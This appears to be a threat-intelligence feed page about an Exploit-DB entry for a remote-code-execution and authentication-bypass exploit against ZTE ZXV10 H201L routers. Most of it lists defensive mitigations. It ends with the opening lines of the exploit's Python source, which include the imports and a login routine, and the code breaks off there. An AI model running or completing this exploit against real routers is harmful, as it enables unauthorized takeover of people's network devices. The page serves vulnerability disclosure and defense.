ZTE ZXV10 H201L · RCE via authentication bypass
Source Exploit-DB RSS Feed
Rated by Threat Radar
Data as of 11 Jun 2025, 21:08 UTC
What to do
AI-suggested
1. Immediate Network Segmentation: Isolate ZTE ZXV10 H201L routers from critical internal networks and restrict management interface access to trusted administrative hosts only, preferably via VPN or dedicated management VLANs. 2. Disable Remote Management: If remote HTTP management is enabled, disable it or restrict it to specific IP addresses to prevent unauthorized external access. 3. Monitor Network Traffic: Deploy IDS/IPS signatures to detect anomalous POST requests to /getpage.gch endpoints and unusual DDNS configuration changes indicative of exploitation attempts. 4. Change Default Encryption Key: If possible, change or randomize the configuration encryption key to prevent decryption of configuration files using the known default key. 5. Firmware Updates: Engage with ZTE or ISPs to obtain firmware updates or patches addressing the authentication bypass vulnerability. If unavailable, consider replacing vulnerable devices with more secure alternatives. 6. Implement Strong Access Controls: Enforce strong authentication and authorization policies on router management interfaces, including multi-factor authentication where supported. 7. Incident Response Preparedness: Prepare to detect and respond to signs of compromise, such as unexpected files in /var/tmp or unauthorized configuration changes. 8. Vendor Coordination: Report the vulnerability to ZTE and relevant national cybersecurity authorities to accelerate patch development and coordinated disclosure. 9. Regular Audits: Conduct periodic security audits of network devices to identify vulnerable models and verify configuration integrity. 10. User Awareness: Educate network administrators about the risks of default credentials and the importance of securing management interfaces.
Description
ZTE ZXV10 H201L - RCE via authentication bypass
Indicators of compromise
Exploit source code
# Exploit Title: ZTE ZXV10 H201L - RCE via authentication bypass
# Exploit Author: l34n (tasos meletlidis)
# https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/
import http.client, requests, os, argparse, struct, zlib
from io import BytesIO
from os import stat
from Crypto.Cipher import AES
def login(session, host, port, username, password):
login_token = session.get(f"http://{host}:{port}/").text.split("getObj(\"Frm_Logintoken\").value = \"")[1].split("\"")[0]
headers = {
…